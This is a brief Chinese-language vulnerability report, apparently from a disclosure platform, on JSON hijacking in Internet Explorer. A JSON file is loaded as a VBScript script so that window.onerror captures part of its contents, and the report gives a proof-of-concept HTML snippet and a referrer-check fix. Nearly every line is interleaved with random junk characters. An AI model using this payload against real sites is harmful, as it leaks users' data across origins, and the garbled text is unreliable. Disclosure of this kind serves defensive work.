简要描述:
) B& P' G5 f. ], Q1 l8 r. ^' G' E+ y2 C/ |4 P7 F$ |
由于某些资源容器对数据处理不当导致json劫持漏洞." Q6 ?" |; B# u" H( u( X4 ~
详细说明:$ r: T) N& k9 I
由于ie支持vbscript,所以script元素可以指定成vbscript语言:7 u5 M' ~5 B9 U% ~$ g8 V7 w
<script language=vbscript></script>5 v! o& t- x# t( t; z A* p, x
. O: I$ M @& j
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
6 ~2 t2 P- f; h2 {( w7 e漏洞证明:$ b2 w" k# Q; r( r1 B; Q `& ~
<script>
2 D; [( j6 x! Iwindow.onerror=function(_){, Q8 Z6 K$ h5 d& d6 j0 q* x
alert(_)
3 u* C; s; a( R; _7 A( P}
5 n' K6 M4 Y% o& Q6 o) e</script>
1 a% `& c3 B' l1 L0 g<script language=vbscript src=1.json></script>) {( {) x( w) m- r1 z) d
8 D7 z9 J& \: |3 H; z+ y0 x
- ]1 Q. S7 s# _) I( m# }) X0 c; O1.json:
1 P2 U' c' M, G; M k: l3 ^! F[{"name":"sogili","age":19}]" n. o& y* g/ n. ?. h( L
修复方案:
9 l2 C$ N6 h& C# ]8 }( D! b; R网站业务对于这个问题可以通过验证referrer是否为同源来防御 |